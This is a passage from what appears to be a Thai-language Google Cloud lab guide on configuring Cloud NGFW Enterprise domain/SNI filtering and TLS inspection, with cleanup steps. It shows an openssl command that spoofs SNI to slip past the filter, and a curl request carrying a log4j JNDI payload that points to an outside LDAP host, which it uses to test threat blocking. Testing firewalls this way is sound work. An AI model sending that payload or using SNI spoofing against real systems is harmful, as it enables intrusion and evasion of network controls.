ดังที่ได้กล่าวไว้ในส่วนนำ NGFW Enterprise สามารถดูส่วนหัวโฮสต์ HTTP สำหรับการเข้าชม HTTP หรือดู SNI สำหรับการเข้าชมที่เข้ารหัส TLS บุคคลทั่วไปสามารถปลอมแปลง SNI ได้ จะเกิดอะไรขึ้นหากผู้ใช้ทำเช่นนั้น

มาตรวจสอบลักษณะการทำงานกัน เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

เรียกใช้คำสั่ง openssl ต่อไปนี้เพื่อปลอม SNI

openssl s_client -connect www.google.com:443 -servername ifconfig.me

ในตัวอย่างข้างต้น คาดว่าระบบจะบล็อกคำขอที่ส่งไปยังโดเมน .com และ .net และอนุญาต TLD อื่นๆ ด้านล่างนี้คือตัวอย่างการตอบกลับที่ถูกปลอมแปลง ระบบจะส่งคำขอไปยัง www.google.com ซึ่งควรถูกบล็อก แต่แทนที่จะส่ง SNI ของ www.google.com เราจะระบุ SNI ของ ifconfig.me เนื่องจากนโยบายจะตรวจสอบกับ SNI จึงถือว่าโดเมนนี้เป็นโดเมนที่ "อนุญาต" และปล่อยให้ผ่านไป เราเชื่อมต่อ TLS กับ google.com ได้สำเร็จ

.

ผลลัพธ์ที่คาดไว้

CONNECTED(00000003)
depth=2 C = US, O = Google Trust Services LLC, CN = GTS Root R1
verify return:1
depth=1 C = US, O = Google Trust Services, CN = WR2
verify return:1
depth=0 CN = www.google.com
verify return:1
---
Certificate chain
 0 s:CN = www.google.com
   i:C = US, O = Google Trust Services, CN = WR2
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Sep  8 08:37:54 2025 GMT; NotAfter: Dec  1 08:37:53 2025 GMT
 1 s:C = US, O = Google Trust Services, CN = WR2
   i:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256
   v:NotBefore: Dec 13 09:00:00 2023 GMT; NotAfter: Feb 20 14:00:00 2029 GMT
 2 s:C = US, O = Google Trust Services LLC, CN = GTS Root R1
   i:C = BE, O = GlobalSign nv-sa, OU = Root CA, CN = GlobalSign Root CA
   a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
   v:NotBefore: Jun 19 00:00:42 2020 GMT; NotAfter: Jan 28 00:00:42 2028 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFIjCCBAqgAwIBAgIRAM14YrdibR1qCrCsFSaLpS0wDQYJKoZIhvcNAQELBQAw
OzELMAkGA1UEBhMCVVMxHjAcBgNVBAoTFUdvb2dsZSBUcnVzdCBTZXJ2aWNlczEM
MAoGA1UEAxMDV1IyMB4XDTI1MDkwODA4Mzc1NFoXDTI1MTIwMTA4Mzc1M1owGTEX
MBUGA1UEAxMOd3d3Lmdvb2dsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC70XEda08twtQq8yhHAP5LJDIIvyOLrUMP3EnttHXtYH1t0W2isAFp
z1l+3kTV+j/0LYNtTHYeeR+VtyGyPvmmMC/BQ8hkYBxtO2XNSDuF5Avw0lIsTGSN
O0DxsRp8wSEc3h/xQrEPlXrI301y7136VTw79vQwhU0sAhzArBk1Kak2tGCrGUpL
TtiMD6pm1PEtvwY4jeei8n9467JsFs4De9nv/W/Y23XYqfilAT2vaehvxAiByEeU
5U0DCiKGPzR02sA3aExxjKRbhmHugGM0LceTLdp2+a4hJUBqOgck66HMTGEvhq4B
Mdn5N/KBBdGovoAxf1EiO+h8EWsDXkdVAgMBAAGjggJBMIICPTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUDbnpqw80izeJW//holp4bVObRRUwHwYDVR0jBBgwFoAU3hse7XkV1D43JMMh
u+w0OW1CsjAwWAYIKwYBBQUHAQEETDBKMCEGCCsGAQUFBzABhhVodHRwOi8vby5w
a2kuZ29vZy93cjIwJQYIKwYBBQUHMAKGGWh0dHA6Ly9pLnBraS5nb29nL3dyMi5j
cnQwGQYDVR0RBBIwEIIOd3d3Lmdvb2dsZS5jb20wEwYDVR0gBAwwCjAIBgZngQwB
AgEwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2MucGtpLmdvb2cvd3IyL29CRllZ
YWh6Z1ZJLmNybDCCAQQGCisGAQQB1nkCBAIEgfUEgfIA8AB1AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmSiwb7kAAAQDAEYwRAIgUgwfOTyMz1t2
IoMnKJ53W+kZw7Jsu32WvzgsckwoVUsCIF13LpnKVkz4nb5ns+gCV9cmXtjrOIYR
los6Y3B55Zc4AHcAEvFONL1TckyEBhnDjz96E/jntWKHiJxtMAWE6+WGJjoAAAGZ
KLBu2wAABAMASDBGAiEAs7m+95jkhA5h/ycpQu8uLo2AZsIpOX6BvJiycuvgMJsC
IQC6O2leGpUvSExL6fYvpVba3mrNVlw1a5u8OFI7NSguhTANBgkqhkiG9w0BAQsF
AAOCAQEAa9vVQ6zoBODliAAhLTG3uYaQZevaE96lOdD0jnRw/u3EzNL4UnDED/O+
x8XNvv5njb5MsntnYUgQda3nNtYfpGe6qvuYhyiBegdzqBsHVik4Rzlp/YeMGAV/
zqKl+Wtg5iCjq4+yI3aLex36NeFA7n8SQbKc0n8PvmAF7Anh80H3A/XPaINTKueO
kBltI+iP9FPL64b5NbcNqeanibsOE/2tMImLF/7Kp1/5IFCq7UsR09mBRRfUbRyc
1Zp7ndj5sMLqqgCuF8wTaELMubN4pw5S9FdO7iWA254+NhXidnU8WNHadgR0OmWr
jr89HAhAtpQGEarldpmnJPMadHEcdw==
-----END CERTIFICATE-----
subject=CN = www.google.com
issuer=C = US, O = Google Trust Services, CN = WR2
---
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 4495 bytes and written 397 bytes
Verification: OK
---
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
Server public key is 2048 bit
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

การตรวจสอบ TLS จึงช่วยอุดช่องโหว่นี้ได้

ปิดการเชื่อมต่อและออกจาก VM โดยทำดังนี้

"ctrl" + c
exit

18. [ไม่บังคับ] การตรวจสอบ TLS

กำหนดค่าทรัพยากร TLS

ส่วนนี้ไม่บังคับเนื่องจากการกรองโดเมน/SNI จะทํางานได้โดยไม่ต้องมีการตรวจสอบ TLS อย่างไรก็ตาม คุณอาจต้องการใช้การตรวจสอบ TLS หากวางแผนที่จะใช้การป้องกันภัยคุกคาม หรือในอนาคตเมื่อการกรอง URL แบบเต็มพร้อมใช้งาน คุณจะสามารถสร้างกฎตามเส้นทางในโปรไฟล์ความปลอดภัยได้

นอกจากนี้ การตรวจสอบ TLS ยังมีการตรวจสอบอีกชั้นหนึ่งเนื่องจากอาจมีการปลอมแปลง SNI

สร้างพูล CA ระบบจะใช้ทรัพยากรนี้เพื่อจัดเก็บใบรับรอง CA ระดับรูทที่เราสร้างขึ้นสำหรับ NGFW Enterprise

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

สร้าง CA ระดับบนสุด นี่คือใบรับรอง CA ที่จะใช้ในการลงนามใบรับรองเพิ่มเติมสำหรับคำขอผ่าน NGFW Enterprise

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

หากได้รับข้อความด้านล่างนี้ ให้ตอบว่า y

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

สร้างบัญชีบริการ ระบบจะใช้บัญชีบริการนี้เพื่อขอใบรับรองสำหรับ NGFW Enterprise

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

ตั้งค่าสิทธิ์ IAM สำหรับบัญชีบริการ

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

สร้างไฟล์ YAML ของนโยบาย TLS ไฟล์นี้จะมีข้อมูลเกี่ยวกับทรัพยากรที่เฉพาะเจาะจงดังนี้

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

นําเข้านโยบายการตรวจสอบ TLS

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

อัปเดตการเชื่อมโยงปลายทางเพื่อเปิดใช้ TLS โดยทำดังนี้

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

รับใบรับรอง CA แล้วเพิ่มลงในที่เก็บ CA ของไคลเอ็นต์ ซึ่งจำเป็นต่อความน่าเชื่อถือเนื่องจาก NGFW Enterprise จะสร้าง TLS และแสดงใบรับรองที่ลงนามจาก CA Pool

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

โอนใบรับรอง CA ไปยังไคลเอ็นต์

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH ไปยัง VM ย้ายใบรับรอง CA ไปยัง /usr/local/share/ca-certificates แล้วอัปเดตที่เก็บ CA โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

ออกจาก VM แล้วดำเนินการต่อใน Cloud Shell

อัปเดตกฎไฟร์วอลล์สำหรับการตรวจสอบ TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

ตรวจสอบกฎด้วยการตรวจสอบ TLS

เริ่มต้นการเชื่อมต่อ SSH กับ VM ผ่าน IAP โดยทำดังนี้

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

ส่งคำขอตัวอย่างไปยังปลายทางที่อนุญาต

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

ซึ่งควรจะผ่านโดยไม่มีปัญหา หากต้องการตรวจสอบใบรับรองและยืนยันว่า NGFW ลงนามในใบรับรองหรือไม่ ให้เรียกใช้คำสั่งต่อไปนี้

curl https://ifconfig.me --max-time 2 -vv

ผลลัพธ์ที่คาดไว้

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

ในเอาต์พุตด้านบน เราจะเห็นว่า NGFW Enterprise กำลังตรวจสอบคำขอ TLS เนื่องจากใบรับรองที่ได้รับมีการลงนามโดย CA ระดับรูทที่เราสร้างไว้ก่อนหน้านี้ (ฟิลด์ผู้ออกใบรับรอง)

ตรวจสอบกฎที่พยายามปลอมแปลง SNI ด้วยการตรวจสอบ TLS

มาตรวจสอบลักษณะการทำงานตอนนี้ที่เปิดใช้การตรวจสอบ TLS แล้วกัน

เรียกใช้คำสั่ง openssl ต่อไปนี้เพื่อปลอม SNI

openssl s_client -connect www.google.com:443 -servername ifconfig.me

ผลลัพธ์ที่คาดไว้

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

ในเอาต์พุตข้างต้น เราเห็นว่าคำขอการปลอมแปลง SNI ที่เคยทำงานได้ก่อนหน้านี้ล้มเหลวเมื่อเปิดใช้การตรวจสอบ TLS เนื่องจากเมื่อเปิดใช้การตรวจสอบ TLS แล้ว NGFW จะตรวจสอบ SNI กับชื่ออื่นของเรื่อง (SAN) ของใบรับรองเซิร์ฟเวอร์ หากไม่ตรงกัน กระบวนการแฮนด์เชค TLS จะไม่สำเร็จ

ตรวจสอบโดเมน/SNI และการป้องกันภัยคุกคามด้วยการตรวจสอบ TLS

ตอนนี้เราจะเรียกใช้การทดสอบที่เคยดำเนินการก่อนหน้านี้อีกครั้งสำหรับคำขอที่เป็นอันตราย (log4j) ไปยังโดเมนที่อนุญาต

ส่งตัวอย่างที่เป็นอันตราย (log4j) ไปยังปลายทางโดเมน/SNI ที่อนุญาต

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

ผลลัพธ์ที่คาดไว้

000

รหัสการตอบกลับ 000 นี้เป็นเพราะ NGFW สิ้นสุดการเชื่อมต่อเนื่องจากตรวจพบภัยคุกคาม เราสามารถรวบรวมเอาต์พุตแบบละเอียดเพิ่มเติมเพื่อยืนยันได้

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

ผลลัพธ์ที่คาดไว้

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

จากด้านบน เราจะเห็นว่า NGFW ทำการตรวจสอบ TLS และบล็อกคำขอที่เป็นอันตราย

ออกจาก VM

exit

ไปยังส่วนถัดไปเพื่อดูขั้นตอนการล้างข้อมูล

19. ขั้นตอนการล้างข้อมูล

การล้างข้อมูลการตั้งค่าพื้นฐาน

นำอินสแตนซ์ออก

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

นำนโยบายเครือข่ายไฟร์วอลล์ Cloud และการเชื่อมโยงออก

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ลบ Cloud Router และ Cloud NAT โดยทำดังนี้

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

ลบที่อยู่ IP ที่สงวนไว้

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

การล้างข้อมูล SPG และการเชื่อมโยงของ Cloud Firewall

ลบกลุ่มโปรไฟล์ความปลอดภัยและโปรไฟล์การกรองภัยคุกคามและ URL ตามลำดับต่อไปนี้

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

ลบการเชื่อมโยงปลายทางของ Cloud Firewall โดยทำดังนี้

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

ลบปลายทางของ Cloud Firewall ซึ่งอาจใช้เวลาประมาณ 20 นาที

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

(ไม่บังคับ) ยืนยันว่าได้ลบปลายทาง Cloud NGFW แล้วโดยเรียกใช้คำสั่งด้านล่าง

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

สถานะของอุปกรณ์ปลายทางควรแสดงดังนี้

STATE: DELETING

เมื่อเสร็จสมบูรณ์แล้ว ระบบจะไม่แสดงปลายทางอีกต่อไป

[ไม่บังคับ] การล้างข้อมูล TLS

หากคุณดำเนินการกับการกำหนดค่าการตรวจสอบ TLS ที่ไม่บังคับ ให้เรียกใช้คำสั่งด้านล่างเพื่อล้างข้อมูลทรัพยากร TLS

ลบนโยบาย TLS

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

ปิดใช้และลบ CA หลักและพูล CA โดยทำดังนี้

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

การล้างข้อมูลซับเน็ตและ VPC

สุดท้าย ให้ลบซับเน็ตและเครือข่าย VPC โดยทำดังนี้

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. บทสรุปและข้อควรพิจารณา

แล็บนี้เรียบง่ายมากและทดสอบเฉพาะ VM เดียวที่ออกไปยังอินเทอร์เน็ต ในสถานการณ์จริง VPC อาจมีทรัพยากรหลายรายการ โดยมีการรับส่งข้อมูลในทุกทิศทาง (เหนือ/ใต้และตะวันออก/ตะวันตก) เนื่องจากกฎไฟร์วอลล์สำหรับการกรองโดเมน/SNI คือ EGRESS 0.0.0.0/0 จึงเป็น "การดักจับทั้งหมด" และต้องกำหนดค่าเป็นกฎที่มีลำดับความสำคัญต่ำที่สุดในนโยบายเครือข่าย มิฉะนั้นการเข้าชมจะตรงกันโดยไม่คาดคิดและจะได้รับอนุญาต/ถูกปฏิเสธตามกฎ urlFiltering เริ่มต้น

นอกจากนี้ ให้พิจารณาใช้ประเภทเครือข่ายเพื่อจำกัดขอบเขต เพื่อป้องกันไม่ให้การเข้าชม E/W ตรงกับกฎ หรือสร้างกฎอนุญาตที่มีลำดับความสำคัญสูงกว่าสำหรับการรับส่งข้อมูล E/W

โปรดอ่านเอกสารแนวทางปฏิบัติแนะนำซึ่งครอบคลุมการกรองโดเมน/SNI โดยละเอียด

21. ยินดีด้วย

ยินดีด้วย คุณได้ติดตั้งใช้งาน Cloud NGFW Enterprise สำหรับการกรองโดเมนและ SNI พร้อมการตรวจสอบ TLS ที่ไม่บังคับเรียบร้อยแล้ว